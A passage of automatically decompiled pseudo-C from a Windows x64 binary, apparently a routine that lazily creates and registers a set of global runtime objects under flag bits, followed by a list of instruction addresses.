				void* _t335;
				void* _t338;
				void* _t342;
				void* _t345;
				void* _t348;
				void* _t351;
				void* _t354;
				void* _t357;
				void* _t361;
				void* _t364;
				void* _t368;
				void* _t371;
				void* _t375;
				void* _t378;
				void* _t381;
				void* _t384;
				void* _t387;
				void* _t390;
				void* _t393;
				void* _t396;
				void* _t400;
				void* _t403;
				void* _t406;
				void* _t410;
				void* _t414;
				void* _t417;
				long long _t419;
				long long* _t421;
				long long* _t422;
				long long* _t425;
				long long* _t426;
				long long _t427;
				long long _t434;
				long long* _t437;
				intOrPtr _t439;
				intOrPtr _t440;
				intOrPtr _t441;
				intOrPtr _t442;
				intOrPtr _t443;
				intOrPtr _t444;
				intOrPtr _t445;
				intOrPtr _t446;
				intOrPtr _t449;
				intOrPtr _t450;
				intOrPtr _t453;
				intOrPtr _t454;
				intOrPtr _t455;
				intOrPtr _t456;
				intOrPtr _t457;
				intOrPtr _t458;
				intOrPtr _t459;
				intOrPtr _t460;
				intOrPtr _t461;
				intOrPtr _t462;
				intOrPtr _t463;
				long long* _t464;
				intOrPtr _t468;
				intOrPtr _t469;
				intOrPtr _t474;
				intOrPtr _t475;
				long long* _t476;
				intOrPtr _t478;
				intOrPtr _t479;
				void* _t600;
				intOrPtr _t601;
				intOrPtr _t602;
				intOrPtr _t605;
				intOrPtr _t606;
				intOrPtr _t608;
				intOrPtr _t609;
				intOrPtr _t610;
				long long _t611;
				intOrPtr _t612;
				intOrPtr _t613;
				intOrPtr _t614;
				intOrPtr _t615;
				intOrPtr _t616;
				intOrPtr _t617;
				intOrPtr _t618;
				intOrPtr _t619;
				void* _t624;
				intOrPtr _t651;
				void* _t653;
				long long _t654;
				long long* _t655;
				long long _t656;

				_t648 = __r9;
				_t419 = __rax;
				_a8 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_t600 = __r9;
				_t654 = __r8;
				r12d = __edx;
				_t653 = __rcx;
				r15d = 0;
				_v136 = __edx & 0x00000002;
				if (__eflags == 0) goto 0xaf6f8869;
				if (__r9 != 0) goto 0xaf6f880c;
				_t605 =  *0xaf752dc8; // 0x0
				if (_t605 != 0) goto 0xaf6f879b;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t335 =  *0xaf752dc8 - _t655; // 0x0
				if (_t335 != 0) goto 0xaf6f878b;
				_t119 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t119 + 1;
				 *0xaf752dc8 = _t419;
				E00007FF77FF7AF6E8BDC(_t419,  &_a16);
				_t606 =  *0xaf752dc8; // 0x0
				E00007FF77FF7AF6D7860();
				_t437 = _t419;
				_v128 = _t419;
				if (_t419 == 0) goto 0xaf6f8801;
				 *((intOrPtr*)(_t419 + 8)) = r15d;
				 *_t437 = 0xaf736d88;
				E00007FF77FF7AF6E8DCC(0xaf736d88,  &_v120, __rdx, __r8);
				asm("movups xmm0, [eax]");
				asm("movups [ebx+0x10], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebx+0x20], xmm1");
				E00007FF77FF7AF6E8FC0(0xaf736d88, _t437,  &_v88, __r10);
				asm("movups xmm0, [eax]");
				asm("movups [ebx+0x30], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebx+0x40], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [ebx+0x50], xmm0");
				 *((intOrPtr*)(_t437 + 0x58)) =  *0x7FF7AF736DB0;
				goto 0xaf6f8804;
				goto 0xaf6f8861;
				_t439 =  *0xaf752dc8; // 0x0
				if (_t439 != 0) goto 0xaf6f8853;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t338 =  *0xaf752dc8 - _t655; // 0x0
				if (_t338 != 0) goto 0xaf6f8843;
				_t127 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t127 + 1;
				 *0xaf752dc8 = 0xaf736d88;
				E00007FF77FF7AF6E8BDC(0xaf736d88,  &_a16);
				_t440 =  *0xaf752dc8; // 0x0
				E00007FF77FF7AF6DB2D0(0xaf736d88, _t600);
				E00007FF77FF7AF6E6384(_t440, __r8, 0xaf736d88, _t600, _t606, _t440);
				if ((r12b & 0x00000008) == 0) goto 0xaf6f8af7;
				_t441 =  *0xaf752fe0; // 0x0
				if (_t600 != 0) goto 0xaf6f88e7;
				if (_t441 != 0) goto 0xaf6f88bf;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t342 =  *0xaf752fe0 - _t655; // 0x0
				if (_t342 != 0) goto 0xaf6f88af;
				_t134 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t134 + 1;
				 *0xaf752fe0 = 0xaf736d88;
				E00007FF77FF7AF6E8BDC(0xaf736d88,  &_a16);
				_t442 =  *0xaf752fe0; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf736d88;
				if (0xaf736d88 == 0) goto 0xaf6f88e2;
				 *0x7FF7AF736D90 = r15d;
				 *0xaf736d88 = 0xaf736ec8;
				goto 0xaf6f892f;
				_t421 = _t655;
				goto 0xaf6f892f;
				if (_t442 != 0) goto 0xaf6f8927;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t345 =  *0xaf752fe0 - _t655; // 0x0
				if (_t345 != 0) goto 0xaf6f8917;
				_t139 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t139 + 1;
				 *0xaf752fe0 = _t421;
				E00007FF77FF7AF6E8BDC(_t421,  &_a16);
				_t443 =  *0xaf752fe0; // 0x0
				0xaf6ebd18();
				E00007FF77FF7AF6E6384(_t443, __r8, _t421, _t600, __r8, _t443);
				_t444 =  *0xaf7546e8; // 0x0
				if (_t600 != 0) goto 0xaf6f89b4;
				if (_t444 != 0) goto 0xaf6f898c;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t348 =  *0xaf7546e8 - _t655; // 0x0
				if (_t348 != 0) goto 0xaf6f897c;
				_t145 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t145 + 1;
				 *0xaf7546e8 = _t421;
				E00007FF77FF7AF6E8BDC(_t421,  &_a16);
				_t445 =  *0xaf7546e8; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = _t421;
				if (_t421 == 0) goto 0xaf6f89af;
				 *((intOrPtr*)(_t421 + 8)) = r15d;
				 *_t421 = 0xaf736f40;
				goto 0xaf6f89fc;
				_t422 = _t655;
				goto 0xaf6f89fc;
				if (_t445 != 0) goto 0xaf6f89f4;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t351 =  *0xaf7546e8 - _t655; // 0x0
				if (_t351 != 0) goto 0xaf6f89e4;
				_t150 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t150 + 1;
				 *0xaf7546e8 = _t422;
				E00007FF77FF7AF6E8BDC(_t422,  &_a16);
				_t446 =  *0xaf7546e8; // 0x0
				E00007FF77FF7AF6DEB90(_t422, _t600);
				E00007FF77FF7AF6E6384(_t446, __r8, _t422, _t600, __r8, _t446);
				if (_t600 != 0) goto 0xaf6f8a9a;
				_t608 =  *0xaf7546f8; // 0x0
				if (_t608 != 0) goto 0xaf6f8a5a;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t354 =  *0xaf7546f8 - _t655; // 0x0
				if (_t354 != 0) goto 0xaf6f8a4a;
				_t157 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t157 + 1;
				 *0xaf7546f8 = _t422;
				E00007FF77FF7AF6E8BDC(_t422,  &_a16);
				_t609 =  *0xaf7546f8; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = _t422;
				if (_t422 == 0) goto 0xaf6f8a8f;
				 *((intOrPtr*)(_t422 + 8)) = r15d;
				 *_t422 = 0xaf736fa0;
				r8d = 0;
				E00007FF77FF7AF6DF520(_t422, _t422, _t600, _t609);
				goto 0xaf6f8a92;
				goto 0xaf6f8aef;
				_t449 =  *0xaf7546f8; // 0x0
				if (_t449 != 0) goto 0xaf6f8ae1;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t357 =  *0xaf7546f8 - _t655; // 0x0
				if (_t357 != 0) goto 0xaf6f8ad1;
				_t163 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t163 + 1;
				 *0xaf7546f8 = 0xaf736fa0;
				E00007FF77FF7AF6E8BDC(0xaf736fa0,  &_a16);
				_t450 =  *0xaf7546f8; // 0x0
				E00007FF77FF7AF6DECB0(0xaf736fa0, _t600);
				E00007FF77FF7AF6E6384(_t450, _t654, 0xaf736fa0, _t600, _t609, _t450);
				E00007FF77FF7AF6ED14C(0, _t450, _t654, 0xaf736fa0, _t450);
				if ((r12d & 0x00000001 << 0 >> 0x00000001) == 0) goto 0xaf6f8c04;
				if (_t600 != 0) goto 0xaf6f8ba7;
				_t610 =  *0xaf752fe8; // 0x0
				if (_t610 != 0) goto 0xaf6f8b65;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t361 =  *0xaf752fe8 - _t655; // 0x0
				if (_t361 != 0) goto 0xaf6f8b55;
				_t174 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t174 + 1;
				 *0xaf752fe8 = 0xaf736fa0;
				E00007FF77FF7AF6E8BDC(0xaf736fa0,  &_a16);
				_t611 =  *0xaf752fe8; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf736fa0;
				if (0xaf736fa0 == 0) goto 0xaf6f8b9c;
				 *0x7FF7AF736FA8 = r15d;
				 *0xaf736fa0 = 0xaf736fe8;
				E00007FF77FF7AF7082DC(0xaf736fe8,  &_v120);
				asm("movups xmm0, [eax]");
				asm("movdqu [ebx+0x10], xmm0");
				goto 0xaf6f8b9f;
				goto 0xaf6f8bfc;
				_t453 =  *0xaf752fe8; // 0x0
				if (_t453 != 0) goto 0xaf6f8bee;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t364 =  *0xaf752fe8 - _t655; // 0x0
				if (_t364 != 0) goto 0xaf6f8bde;
				_t180 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t180 + 1;
				 *0xaf752fe8 = 0xaf736fe8;
				E00007FF77FF7AF6E8BDC(0xaf736fe8,  &_a16);
				_t454 =  *0xaf752fe8; // 0x0
				0xaf6eaee0();
				E00007FF77FF7AF6E6384(_t454, _t654, 0xaf736fe8, _t600, _t611, _t454);
				if ((r12b & 0x00000020) == 0) goto 0xaf6f8cd8;
				_t455 =  *0xaf752ff0; // 0x0
				if (_t600 != 0) goto 0xaf6f8c82;
				if (_t455 != 0) goto 0xaf6f8c5a;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t368 =  *0xaf752ff0 - _t655; // 0x0
				if (_t368 != 0) goto 0xaf6f8c4a;
				_t186 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t186 + 1;
				 *0xaf752ff0 = 0xaf736fe8;
				E00007FF77FF7AF6E8BDC(0xaf736fe8,  &_a16);
				_t456 =  *0xaf752ff0; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf736fe8;
				if (0xaf736fe8 == 0) goto 0xaf6f8c7d;
				 *0x7FF7AF736FF0 = r15d;
				 *0xaf736fe8 = 0xaf737020;
				goto 0xaf6f8cca;
				_t425 = _t655;
				goto 0xaf6f8cca;
				if (_t456 != 0) goto 0xaf6f8cc2;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t371 =  *0xaf752ff0 - _t655; // 0x0
				if (_t371 != 0) goto 0xaf6f8cb2;
				_t191 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t191 + 1;
				 *0xaf752ff0 = _t425;
				E00007FF77FF7AF6E8BDC(_t425,  &_a16);
				_t457 =  *0xaf752ff0; // 0x0
				0xaf6eb228();
				E00007FF77FF7AF6E6384(_t457, _t654, _t425, _t600, _t611, _t457);
				if ((r12b & 0x00000004) == 0) goto 0xaf6f9068;
				_t458 =  *0xaf752ff8; // 0x0
				if (_t600 != 0) goto 0xaf6f8d56;
				if (_t458 != 0) goto 0xaf6f8d2e;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t375 =  *0xaf752ff8 - _t655; // 0x0
				if (_t375 != 0) goto 0xaf6f8d1e;
				_t197 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t197 + 1;
				 *0xaf752ff8 = _t425;
				E00007FF77FF7AF6E8BDC(_t425,  &_a16);
				_t459 =  *0xaf752ff8; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = _t425;
				if (_t425 == 0) goto 0xaf6f8d51;
				 *((intOrPtr*)(_t425 + 8)) = r15d;
				 *_t425 = 0xaf737058;
				goto 0xaf6f8d9e;
				_t426 = _t655;
				goto 0xaf6f8d9e;
				if (_t459 != 0) goto 0xaf6f8d96;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t378 =  *0xaf752ff8 - _t655; // 0x0
				if (_t378 != 0) goto 0xaf6f8d86;
				_t202 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t202 + 1;
				 *0xaf752ff8 = _t426;
				E00007FF77FF7AF6E8BDC(_t426,  &_a16);
				_t460 =  *0xaf752ff8; // 0x0
				0xaf6eb458();
				_t656 = _t654;
				E00007FF77FF7AF6E6384(_t460, _t654, _t426, _t600, _t611, _t460);
				_t461 =  *0xaf753000; // 0x0
				if (_t600 != 0) goto 0xaf6f8e24;
				if (_t461 != 0) goto 0xaf6f8dfd;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t381 =  *0xaf753000 - _t611; // 0x0
				if (_t381 != 0) goto 0xaf6f8ded;
				_t208 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t208 + 1;
				 *0xaf753000 = _t426;
				E00007FF77FF7AF6E8BDC(_t426,  &_a16);
				_t462 =  *0xaf753000; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = _t426;
				if (_t426 == 0) goto 0xaf6f8e1f;
				 *((intOrPtr*)(_t426 + 8)) = 0;
				 *_t426 = 0xaf737088;
				goto 0xaf6f8e6c;
				_t427 = _t611;
				goto 0xaf6f8e6c;
				if (_t462 != 0) goto 0xaf6f8e64;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t384 =  *0xaf753000 - _t611; // 0x0
				if (_t384 != 0) goto 0xaf6f8e54;
				_t213 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t213 + 1;
				 *0xaf753000 = _t427;
				E00007FF77FF7AF6E8BDC(_t427,  &_a16);
				_t463 =  *0xaf753000; // 0x0
				0xaf6eb688();
				E00007FF77FF7AF6E6384(_t463, _t656, _t427, _t600, _t611, _t463);
				_t612 =  *0xaf753008; // 0x0
				if (_t600 != 0) goto 0xaf6f8f11;
				if (_t612 != 0) goto 0xaf6f8eca;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t387 =  *0xaf753008 - _t600; // 0x0
				if (_t387 != 0) goto 0xaf6f8eba;
				_t219 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t219 + 1;
				 *0xaf753008 = _t427;
				E00007FF77FF7AF6E8BDC(_t427,  &_a16);
				_t613 =  *0xaf753008; // 0x0
				E00007FF77FF7AF6D7860();
				_t464 = _t427;
				_v128 = _t427;
				if (_t427 == 0) goto 0xaf6f8f0d;
				 *(_t427 + 8) =  *(_t427 + 8) & 0x00000000;
				 *_t464 = 0xaf7370b8;
				 *((char*)(_t464 + 0x44)) = 0;
				r8d = 0;
				E00007FF77FF7AF6F7360(0xaf7370b8, _t464, _t464, _t624, __r10);
				 *_t464 = 0xaf737120;
				goto 0xaf6f8f0f;
				goto 0xaf6f8f5c;
				if (_t613 != 0) goto 0xaf6f8f51;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t390 =  *0xaf753008 - _t613; // 0x0
				if (_t390 != 0) goto 0xaf6f8f41;
				_t225 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t225 + 1;
				 *0xaf753008 = 0xaf737120;
				E00007FF77FF7AF6E8BDC(0xaf737120,  &_a16);
				_t614 =  *0xaf753008; // 0x0
				0xaf6ebae8();
				E00007FF77FF7AF6E6384(0xaf737120, _t656, 0xaf737120, _t600, _t614, _t614);
				r15d = 0;
				if (_t600 != 0) goto 0xaf6f900b;
				_t615 =  *0xaf753010; // 0x0
				if (_t615 != 0) goto 0xaf6f8fbd;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t393 =  *0xaf753010 - _t656; // 0x0
				if (_t393 != 0) goto 0xaf6f8fad;
				_t231 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t231 + 1;
				 *0xaf753010 = 0xaf737120;
				E00007FF77FF7AF6E8BDC(0xaf737120,  &_a16);
				_t616 =  *0xaf753010; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf737120;
				if (0xaf737120 == 0) goto 0xaf6f9000;
				 *0x7FF7AF737128 = r15d;
				 *0xaf737120 = 0xaf7370b8;
				 *0x7FF7AF737164 = 1;
				r8d = 0;
				E00007FF77FF7AF6F7360(0xaf7370b8, 0xaf737120, 0xaf737120, _t624, __r10);
				 *0xaf737120 = 0xaf737188;
				goto 0xaf6f9003;
				goto 0xaf6f9060;
				_t468 =  *0xaf753010; // 0x0
				if (_t468 != 0) goto 0xaf6f9052;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t396 =  *0xaf753010 - _t656; // 0x0
				if (_t396 != 0) goto 0xaf6f9042;
				_t237 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t237 + 1;
				 *0xaf753010 = 0xaf737188;
				E00007FF77FF7AF6E8BDC(0xaf737188,  &_a16);
				_t469 =  *0xaf753010; // 0x0
				0xaf6eb9d0();
				E00007FF77FF7AF6E6384(_t469, _t654, 0xaf737188, _t600, _t616, _t469);
				if ((r12b & 0x00000010) == 0) goto 0xaf6f9280;
				_t617 =  *0xaf753018; // 0x0
				if (_t600 != 0) goto 0xaf6f9112;
				if (_t617 != 0) goto 0xaf6f90c2;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t400 =  *0xaf753018 - _t656; // 0x0
				if (_t400 != 0) goto 0xaf6f90b2;
				_t243 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t243 + 1;
				 *0xaf753018 = 0xaf737188;
				E00007FF77FF7AF6E8BDC(0xaf737188,  &_a16);
				_t618 =  *0xaf753018; // 0x0
				E00007FF77FF7AF6D7860();
				_v128 = 0xaf737188;
				if (0xaf737188 == 0) goto 0xaf6f910d;
				 *0x7FF7AF737190 = r15d;
				 *0xaf737188 = 0xaf7371f0;
				 *0x7FF7AF737198 = _t656;
				 *0x7FF7AF7371A0 = _t656;
				 *0x7FF7AF7371A8 = _t656;
				_v120 = 0xaf737188;
				E00007FF77FF7AF6EA0B0(0xaf737188, 0xaf737188, _t618, _t653);
				 *0x7FF7AF7371B0 = E00007FF77FF7AF7083E0(0xaf737188, 0xaf7371f0, _t648);
				goto 0xaf6f9110;
				goto 0xaf6f915d;
				if (_t618 != 0) goto 0xaf6f9152;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t403 =  *0xaf753018 - _t656; // 0x0
				if (_t403 != 0) goto 0xaf6f9142;
				_t250 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t250 + 1;
				 *0xaf753018 = 0xaf7371f0;
				E00007FF77FF7AF6E8BDC(0xaf7371f0,  &_a16);
				_t619 =  *0xaf753018; // 0x0
				E00007FF77FF7AF6EC178(0x58, 0xaf7371f0, _t600);
				E00007FF77FF7AF6E6384(0xaf7371f0, _t654, 0xaf7371f0, _t600, _t619, _t619);
				if (_t600 != 0) goto 0xaf6f9223;
				_t651 =  *0xaf7546f0; // 0x0
				if (_t651 != 0) goto 0xaf6f91bb;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t406 =  *0xaf7546f0 - _t656; // 0x0
				if (_t406 != 0) goto 0xaf6f91ab;
				_t257 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t257 + 1;
				 *0xaf7546f0 = 0xaf7371f0;
				E00007FF77FF7AF6E8BDC(0xaf7371f0,  &_a16);
				E00007FF77FF7AF6D7860();
				_v120 = 0xaf7371f0;
				if (0xaf7371f0 == 0) goto 0xaf6f9218;
				 *0x7FF7AF7371F8 = r15d;
				 *0xaf7371f0 = 0xaf736ea0;
				 *0x7FF7AF737200 =  *0x7FF7AF737200 & 0x00000000;
				E00007FF77FF7AF71A864(0xaf7371f0, 0xaf7371f0, 0xaf7371f0, 0xaf7371f0);
				_t434 =  &_v120;
				if (0x7ff7af737200 == _t434) goto 0xaf6f920b;
				E00007FF77FF7AF70F228(0xaf736ea0,  *0x7FF7AF737200, 0xaf7371f0, 0xaf7371f0, _t624, _t619);
				 *0x7FF7AF737200 = 0xaf736ea0;
				r15d = 0;
				goto 0xaf6f920e;
				r15d = 0;
				E00007FF77FF7AF70F228(0xaf736ea0, 0xaf736ea0, 0xaf7371f0, 0xaf7371f0, _t624, _t619);
				goto 0xaf6f921b;
				goto 0xaf6f9278;
				_t474 =  *0xaf7546f0; // 0x0
				if (_t474 != 0) goto 0xaf6f926a;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t410 =  *0xaf7546f0 - 0x7ff7af737200; // 0x0
				if (_t410 != 0) goto 0xaf6f925a;
				_t265 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t265 + 1;
				 *0xaf7546f0 = _t434;
				E00007FF77FF7AF6E8BDC(_t434,  &_a16);
				_t475 =  *0xaf7546f0; // 0x0
				E00007FF77FF7AF6DEA70(_t434, _t600);
				E00007FF77FF7AF6E6384(_t475, _t654, _t434, _t600, 0x7ff7af737200, _t475);
				if (_v136 == r15d) goto 0xaf6f9390;
				if (_t600 != 0) goto 0xaf6f9333;
				_t601 =  *0xaf752df8; // 0x0
				if (_t601 != 0) goto 0xaf6f92da;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t414 =  *0xaf752df8 - 0x7ff7af737200; // 0x0
				if (_t414 != 0) goto 0xaf6f92ca;
				_t272 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t272 + 1;
				 *0xaf752df8 = _t434;
				E00007FF77FF7AF6E8BDC(_t434,  &_a16);
				_t602 =  *0xaf752df8; // 0x0
				E00007FF77FF7AF6D7860();
				_t476 = _t434;
				_v120 = _t434;
				if (_t434 == 0) goto 0xaf6f9328;
				 *((intOrPtr*)(_t434 + 8)) = r15d;
				 *_t476 = 0xaf736cd8;
				E00007FF77FF7AF6E8FC0(0xaf736cd8, _t476,  &_v88, __r10);
				asm("movups xmm0, [eax]");
				asm("movups [ebx+0x10], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebx+0x20], xmm1");
				asm("movsd xmm0, [eax+0x20]");
				asm("movsd [ebx+0x30], xmm0");
				 *((intOrPtr*)(_t476 + 0x38)) =  *0x7FF7AF736D00;
				goto 0xaf6f932b;
				goto 0xaf6f9388;
				_t478 =  *0xaf752df8; // 0x0
				if (_t478 != 0) goto 0xaf6f937a;
				E00007FF77FF7AF6E8B64(0,  &_a16);
				_t417 =  *0xaf752df8 - 0x7ff7af737200; // 0x0
				if (_t417 != 0) goto 0xaf6f936a;
				_t279 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t279 + 1;
				 *0xaf752df8 = 0xaf736cd8;
				E00007FF77FF7AF6E8BDC(0xaf736cd8,  &_a16);
				_t479 =  *0xaf752df8; // 0x0
				0xaf6eacb0();
				return E00007FF77FF7AF6E6384(_t479, _t654, 0xaf736cd8, _t602, 0x7ff7af737200, _t479);
			}

0x7ff7af6f870c
0x7ff7af6f870c
0x7ff7af6f870c
0x7ff7af6f8711
0x7ff7af6f8716
0x7ff7af6f872e
0x7ff7af6f8731
0x7ff7af6f8734
0x7ff7af6f8737
0x7ff7af6f873a
0x7ff7af6f8742
0x7ff7af6f8745
0x7ff7af6f874e
0x7ff7af6f8754
0x7ff7af6f875e
0x7ff7af6f8766
0x7ff7af6f876b
0x7ff7af6f8772
0x7ff7af6f8774
0x7ff7af6f877c
0x7ff7af6f8784
0x7ff7af6f878f
0x7ff7af6f8794
0x7ff7af6f87a0
0x7ff7af6f87a5
0x7ff7af6f87a8
0x7ff7af6f87af
0x7ff7af6f87b1
0x7ff7af6f87bc
0x7ff7af6f87c3
0x7ff7af6f87c8
0x7ff7af6f87cb
0x7ff7af6f87cf
0x7ff7af6f87d3
0x7ff7af6f87db
0x7ff7af6f87e0
0x7ff7af6f87e3
0x7ff7af6f87e7
0x7ff7af6f87eb
0x7ff7af6f87ef
0x7ff7af6f87f4
0x7ff7af6f87fc
0x7ff7af6f87ff
0x7ff7af6f880a
0x7ff7af6f880c
0x7ff7af6f8816
0x7ff7af6f881e
0x7ff7af6f8823
0x7ff7af6f882a
0x7ff7af6f882c
0x7ff7af6f8834
0x7ff7af6f883c
0x7ff7af6f8847
0x7ff7af6f884c
0x7ff7af6f8856
0x7ff7af6f8864
0x7ff7af6f886d
0x7ff7af6f8873
0x7ff7af6f887d
0x7ff7af6f8882
0x7ff7af6f888a
0x7ff7af6f888f
0x7ff7af6f8896
0x7ff7af6f8898
0x7ff7af6f88a0
0x7ff7af6f88a8
0x7ff7af6f88b3
0x7ff7af6f88b8
0x7ff7af6f88c4
0x7ff7af6f88c9
0x7ff7af6f88d0
0x7ff7af6f88d2
0x7ff7af6f88dd
0x7ff7af6f88e0
0x7ff7af6f88e2
0x7ff7af6f88e5
0x7ff7af6f88ea
0x7ff7af6f88f2
0x7ff7af6f88f7
0x7ff7af6f88fe
0x7ff7af6f8900
0x7ff7af6f8908
0x7ff7af6f8910
0x7ff7af6f891b
0x7ff7af6f8920
0x7ff7af6f892a
0x7ff7af6f893b
0x7ff7af6f8940
0x7ff7af6f894a
0x7ff7af6f894f
0x7ff7af6f8957
0x7ff7af6f895c
0x7ff7af6f8963
0x7ff7af6f8965
0x7ff7af6f896d
0x7ff7af6f8975
0x7ff7af6f8980
0x7ff7af6f8985
0x7ff7af6f8991
0x7ff7af6f8996
0x7ff7af6f899d
0x7ff7af6f899f
0x7ff7af6f89aa
0x7ff7af6f89ad
0x7ff7af6f89af
0x7ff7af6f89b2
0x7ff7af6f89b7
0x7ff7af6f89bf
0x7ff7af6f89c4
0x7ff7af6f89cb
0x7ff7af6f89cd
0x7ff7af6f89d5
0x7ff7af6f89dd
0x7ff7af6f89e8
0x7ff7af6f89ed
0x7ff7af6f89f7
0x7ff7af6f8a05
0x7ff7af6f8a0d
0x7ff7af6f8a13
0x7ff7af6f8a1d
0x7ff7af6f8a25
0x7ff7af6f8a2a
0x7ff7af6f8a31
0x7ff7af6f8a33
0x7ff7af6f8a3b
0x7ff7af6f8a43
0x7ff7af6f8a4e
0x7ff7af6f8a53
0x7ff7af6f8a5f
0x7ff7af6f8a67
0x7ff7af6f8a6e
0x7ff7af6f8a70
0x7ff7af6f8a7b
0x7ff7af6f8a7e
0x7ff7af6f8a87
0x7ff7af6f8a8d
0x7ff7af6f8a98
0x7ff7af6f8a9a
0x7ff7af6f8aa4
0x7ff7af6f8aac
0x7ff7af6f8ab1
0x7ff7af6f8ab8
0x7ff7af6f8aba
0x7ff7af6f8ac2
0x7ff7af6f8aca
0x7ff7af6f8ad5
0x7ff7af6f8ada
0x7ff7af6f8ae4
0x7ff7af6f8af2
0x7ff7af6f8afb
0x7ff7af6f8b0f
0x7ff7af6f8b18
0x7ff7af6f8b1e
0x7ff7af6f8b28
0x7ff7af6f8b30
0x7ff7af6f8b35
0x7ff7af6f8b3c
0x7ff7af6f8b3e
0x7ff7af6f8b46
0x7ff7af6f8b4e
0x7ff7af6f8b59
0x7ff7af6f8b5e
0x7ff7af6f8b6a
0x7ff7af6f8b72
0x7ff7af6f8b79
0x7ff7af6f8b7b
0x7ff7af6f8b86
0x7ff7af6f8b8d
0x7ff7af6f8b92
0x7ff7af6f8b95
0x7ff7af6f8b9a
0x7ff7af6f8ba5
0x7ff7af6f8ba7
0x7ff7af6f8bb1
0x7ff7af6f8bb9
0x7ff7af6f8bbe
0x7ff7af6f8bc5
0x7ff7af6f8bc7
0x7ff7af6f8bcf
0x7ff7af6f8bd7
0x7ff7af6f8be2
0x7ff7af6f8be7
0x7ff7af6f8bf1
0x7ff7af6f8bff
0x7ff7af6f8c08
0x7ff7af6f8c0e
0x7ff7af6f8c18
0x7ff7af6f8c1d
0x7ff7af6f8c25
0x7ff7af6f8c2a
0x7ff7af6f8c31
0x7ff7af6f8c33
0x7ff7af6f8c3b
0x7ff7af6f8c43
0x7ff7af6f8c4e
0x7ff7af6f8c53
0x7ff7af6f8c5f
0x7ff7af6f8c64
0x7ff7af6f8c6b
0x7ff7af6f8c6d
0x7ff7af6f8c78
0x7ff7af6f8c7b
0x7ff7af6f8c7d
0x7ff7af6f8c80
0x7ff7af6f8c85
0x7ff7af6f8c8d
0x7ff7af6f8c92
0x7ff7af6f8c99
0x7ff7af6f8c9b
0x7ff7af6f8ca3
0x7ff7af6f8cab
0x7ff7af6f8cb6
0x7ff7af6f8cbb
0x7ff7af6f8cc5
0x7ff7af6f8cd3
0x7ff7af6f8cdc
0x7ff7af6f8ce2
0x7ff7af6f8cec
0x7ff7af6f8cf1
0x7ff7af6f8cf9
0x7ff7af6f8cfe
0x7ff7af6f8d05
0x7ff7af6f8d07
0x7ff7af6f8d0f
0x7ff7af6f8d17
0x7ff7af6f8d22
0x7ff7af6f8d27
0x7ff7af6f8d33
0x7ff7af6f8d38
0x7ff7af6f8d3f
0x7ff7af6f8d41
0x7ff7af6f8d4c
0x7ff7af6f8d4f
0x7ff7af6f8d51
0x7ff7af6f8d54
0x7ff7af6f8d59
0x7ff7af6f8d61
0x7ff7af6f8d66
0x7ff7af6f8d6d
0x7ff7af6f8d6f
0x7ff7af6f8d77
0x7ff7af6f8d7f
0x7ff7af6f8d8a
0x7ff7af6f8d8f
0x7ff7af6f8d99
